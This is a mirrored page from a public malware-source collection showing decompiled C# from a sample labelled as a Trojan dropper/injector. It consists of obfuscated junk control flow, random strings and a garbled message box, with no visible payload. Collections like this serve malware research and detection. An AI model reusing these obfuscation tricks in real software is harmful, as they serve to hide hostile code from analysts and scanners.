mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
112 lines
3.1 KiB
C#
112 lines
3.1 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: _2012_D.nQGXD0Fz1GVZtG4EJurMG
|
|||
|
// Assembly: 2012, Version=0.0.0.0, Culture=neutral
|
|||
|
// MVID: FA8E4D06-4395-4F05-87C3-C4C0E16B54D3
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.dblt-11c830b14a7f7fa5e638e993bfad14368652dc14146a3a0f4078ff2c21428131.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
using System;
|
|||
|
using System.Windows.Forms;
|
|||
|
|
|||
|
namespace _2012_D
|
|||
|
{
|
|||
|
[StandardModule]
|
|||
|
internal sealed class nQGXD0Fz1GVZtG4EJurMG
|
|||
|
{
|
|||
|
public static object gZs7PuDK9SP66z6UNI31366()
|
|||
|
{
|
|||
|
label_2:
|
|||
|
int num1 = 3;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
Decimal num2;
|
|||
|
string str;
|
|||
|
bool flag;
|
|||
|
switch (num1)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
do
|
|||
|
{
|
|||
|
str = ".&_€~'HPU*6=XB{2j‡\u0090†=_'l.Œ^{.,{RR‡x\u008D#Rk'Z'ˆUE‹g3111";
|
|||
|
flag = false;
|
|||
|
}
|
|||
|
while (false);
|
|||
|
num1 = 2;
|
|||
|
continue;
|
|||
|
case 1:
|
|||
|
str = "g394KjsgcKG49A9x5b7p89b5Y2QLIx7h7vMW7lZ9Q9F2C6N0QSxs8jUIM15T1b6e5R2HCI4O4W6Th4h0JnlbK8TN9HRhkR";
|
|||
|
flag = false;
|
|||
|
num2 = 14M;
|
|||
|
break;
|
|||
|
case 2:
|
|||
|
break;
|
|||
|
case 3:
|
|||
|
num2 = 57951862M;
|
|||
|
num1 = 0;
|
|||
|
continue;
|
|||
|
default:
|
|||
|
goto label_2;
|
|||
|
}
|
|||
|
flag = true;
|
|||
|
num1 = 1;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
private static object s8P1wEv2()
|
|||
|
{
|
|||
|
label_2:
|
|||
|
int num1 = 3;
|
|||
|
long num2;
|
|||
|
long num3;
|
|||
|
string str;
|
|||
|
double num4;
|
|||
|
int num5;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch (num1)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
do
|
|||
|
{
|
|||
|
int num6 = 4100732;
|
|||
|
num4 = 4.0;
|
|||
|
num5 = 7127305;
|
|||
|
num6 = 326;
|
|||
|
}
|
|||
|
while (false);
|
|||
|
num1 = 2;
|
|||
|
continue;
|
|||
|
case 1:
|
|||
|
goto label_9;
|
|||
|
case 2:
|
|||
|
num5 = 2897;
|
|||
|
num2 = 9L;
|
|||
|
str = "i2Wy64xVE40b9ozlpc5c7IoE2EwP8gzvFAyNt91g2134UWIuKKf8QsJ6dhJUP72gX304x22X6z3wlXyYIh4jd3u9V04uv585040N0pfpdrEU88cnDj5GgT9DkUHo18KXdmd83YIWub6X0p4ECRrfg8LpVI99551JY0IzIs42uaVFG99lPg3vfOfK490Ko8lG0d4fpb7";
|
|||
|
num4 = 506087363.0;
|
|||
|
num5 = 753688;
|
|||
|
num1 = 1;
|
|||
|
continue;
|
|||
|
case 3:
|
|||
|
num2 = 98L;
|
|||
|
int num7 = 4013743;
|
|||
|
do
|
|||
|
{
|
|||
|
checked { ++num7; }
|
|||
|
}
|
|||
|
while (num7 <= 278279960);
|
|||
|
num3 = 162822L;
|
|||
|
str = "Œru4 \u0081q*ˆ%\u0081’‡†ƒG=CˆPa 91‹GHyˆTNŽv-DvT'r}{XŽƒB‹$";
|
|||
|
int num8 = (int) MessageBox.Show("l‹Xc;kXŠ5Sj†<„{^c{;6ex[>AiND†4WgC}I2~29N9†f$C\u0090&&;G/3]TE†P:Be<4$ \u008FcQ[isQb\u007F\u008Fr2W\u008DDcH(_$D*‚WUuc‚g2$\u0081f'@Mg^efqdpWfs‹?‘!‡,XŽk‹rŒ%‡/aŽm‹ƒ_Om‰Ž}V‹FsMK„t|D„e=‹IjOHnnXqW/h`u4\\e(&*i_hŠ]G'C*}pHO Z‡’");
|
|||
|
num1 = 0;
|
|||
|
continue;
|
|||
|
default:
|
|||
|
goto label_2;
|
|||
|
}
|
|||
|
}
|
|||
|
label_9:
|
|||
|
num3 = 8L;
|
|||
|
return (object) 949;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|